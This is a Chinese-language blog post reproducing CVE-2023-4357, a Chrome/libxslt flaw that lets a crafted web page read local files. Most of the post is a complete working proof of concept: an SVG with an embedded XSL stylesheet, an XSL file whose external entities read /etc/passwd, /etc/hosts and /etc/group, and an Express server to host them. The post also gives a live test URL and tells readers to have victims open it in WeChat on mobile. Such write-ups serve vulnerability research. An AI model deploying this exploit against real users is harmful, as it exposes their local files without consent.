Google Chrome 任意文件读取 (CVE-2023-4357)漏洞复现

Google Chrome 任意文件读取 (CVE-2023-4357)漏洞复现

1.漏洞描述

该漏洞的存在是由于 Google Chrome 中用户提供的 XML 输入验证不足。远程攻击者可以创建特制网页,诱骗受害者访问该网页并获取用户系统上的敏感信息。远程攻击者可利用该漏洞通过构建的 HTML 页面绕过文件访问限制,导致chrome任意文件读取。Libxslt 是在基于 WebKit 的浏览器(如 chromesafari 等)中默认使用的 XSL 库。Libxslt 允许 XSL document() 方法加载的文档内部存在外部实体。攻击者可以绕过安全限制,从 http(s):// 网址访问 file:// 网址并获取文件访问权限

影响版本

Google Chrome < 116.0.5845.96

依赖Chromium内核的组件,如vscode、微信等。

2.漏洞复现

开发者提供了一个示例 POC,测试通过微信、抖音之类的 app 直接访问下面的 url 即可触发读取本机的 passwd 文件和 hosts 文件

该测试 URLhttp://188.68.220.248/js.svg

参考链接:https://bugs.chromium.org/p/chromium/issues/detail?id=1458911

通过了解POC需要配置三个文件

1.test.svg文件内容

复制代码
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="#"?>

<xsl:stylesheet id="color-change" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

 <xsl:template match="/">
	<svg version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 1000 1000">
		<foreignObject id="myObj" width="1000" height="1000">
		    <div style="font-size:xxx-large" xmlns="http://www.w3.org/1999/xhtml">
			<a href="#">#Copy me#</a><br/>
			XSL: <xsl:value-of select="system-property('xsl:version')"/><br/>
			Vendor: <xsl:value-of select="system-property('xsl:vendor')"/><br/>
			Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')"/><br/>
			document() <xsl:copy-of  select="document('test.xsl')"/>
		    </div>
		</foreignObject>
	</svg>
 </xsl:template>
</xsl:stylesheet>

2.test.xsl文件内容

复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE p [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY group SYSTEM "file://localhost/etc/group">
]> 

<p>
  <p style="border-style: dotted;">/etc/passwd: 
&passwd;
  </p>
 <p style="border-style: dotted;">/etc/hosts:
&hosts;
  </p>
 <p style="border-style: dotted;">/etc/group:
&group;
  </p>
</p>

3.server.js文件内容

复制代码
const express = require('express');
const path = require('path');

const app = express();
const port = 3000;

app.get('/test.svg', (req, res) => {
  res.sendFile(path.join(__dirname, 'test.svg'));
});

app.get('/test.xsl', (req, res) => {
  res.set('Access-Control-Allow-Origin', '*');
  res.sendFile(path.join(__dirname, 'test.xsl'));
});

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`);
});

将这三个文件放到服务器上,手机微信点击访问:

http://xxx.xxx.xxx.xxx/test.svg

可以看到复现成功,成功读取本地文件。

相关推荐
数字供应链安全产品选型6 小时前
国家级!悬镜安全入选两项“网络安全国家标准应用实践案例”
人工智能·安全·web安全
鹿鸣天涯10 小时前
商用密码应用安全性评估
网络·安全·web安全
jieyu111913 小时前
xxe靶场通关
安全·web安全
A Runner for leave16 小时前
网络与通信安全课程复习汇总2——信息保密
web安全
缘友一世1 天前
漏洞扫描POC和web漏洞扫描工具
网络·安全·web安全
合作小小程序员小小店2 天前
Web渗透之身份认证与访问控制缺陷(越权(水平垂直),访问控制(没有验证),脆弱验证(Cookie,JWT,Session等))
安全·web安全·网络安全·asp.net·网络攻击模型
huluang2 天前
网络安全等级保护要求(10+4 层面)记忆总结
服务器·网络·web安全
kali-Myon2 天前
NewStarCTF2025-Week2-Web
web安全·sqlite·php·web·ctf·文件上传·文件包含
旺仔Sec2 天前
新疆维吾尔自治区第一届“丝路杯”网络安全大赛暨2026年新疆职业院校技能大赛网络安全赛项竞赛样题
安全·web安全
嗨丶王哪跑3 天前
网络安全主动防御技术与应用
运维·网络·安全·web安全